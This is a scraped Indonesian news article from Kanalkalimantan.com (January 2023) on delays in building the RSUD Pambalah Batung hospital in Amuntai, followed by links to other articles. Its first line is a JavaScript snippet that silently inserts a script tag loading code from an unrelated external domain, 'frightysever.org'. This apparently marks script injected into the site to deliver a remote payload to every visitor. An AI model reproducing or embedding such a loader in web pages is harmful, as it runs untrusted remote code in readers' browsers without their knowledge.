(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Mengalami keterlambatan, PT PP KSO kontraktor proyek pembangunan Rumah Sakit Umum Daerah (RSUD PB) Pambalah Batung Amuntai di Desa Muara Tapus ditenggat 50 hari kedepan harus menyelesikan pekerjaan.
Manager PT PP KSO Site Amuntai, Iman Rahman mengatakan bahwa pihaknya masih memiliki waktu yang diberikan untuk menyelesaikan proyek dan optimis dapat terkejar.
“PP KSO beritikad baik dan berkomitmen untuk menyelesaikan sisa pekerjaan, dimana saat ini progres sudah 94,6 persen dan 5,4 persen sisanya, sesuai dengan pemberian kesempatan untuk menyelesaikannya adalah 50 hari, dan kami berkomitmen 50 hari kedepan selesai,” tegas Iman Rahman, Rabu (11/1/2023) siang.
Sekadar diketahui, proyek pekerjaan RSUD Pambalah Batung Amuntai mengalami keterlambatan lantaran berbagai faktor.
Baca juga : Nekat Berulah di JPO Banjarbaru 2, Siap-siap Terpantau CCTV 24 Jam!
Dimana sesuai dengan waktu kesepakatannya dalam kontrak kerjasama antara Pemerintah Kabupaten Hulu Sungai Utara (HSU) dengan kontraktor pelaksana PT Pembangunan Perumahan Kerja Sama Operasional (PP KSO) mencantumkan waktu pengerjaan 390 hari, sehingga diakhir tahun 2022 mestinya selesai.
Menanggapi kondisi keterlambatan tersebut, Ketua DPRD HSU Almein Ashar Safari berharap proyek pembangunan rumah sakit berbiaya Rp 174 miliar lebih secepatnya diselesaikan dengan memberikan tambahan waktu pengerjaan bagi PT PP KSO.
“Kami berharap pengerjaan proyek rumah sakit ini oleh PT PP KSO dapat selesai tepat waktu, sehingga tinggal pelaksanaan pemeliharaannya sekitar 6 bulan, selanjutnya 6 bulan berikutnya lagi kita bisa meresmikan dan operasikan rumah sakit ini,” kata Almien saat peninjauan proyek pembangunan rumah sakit bersama Penjabat (Pj) Bupati HSU Raden Suria Fadliansyah, Selasa (10/1/2023).
Sekadar informasi, RSUD Pambalah Batung yang baru ini sendiri memiliki 4 gedung utama terdiri dari gedung poli klinik, gedung IGD, gedung radiologi, serta gedung rawat inap dengan luas lahan 18 ribu meter persegi di Desa Muara Tapus, Kecamatan Amuntai Tengah. (Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.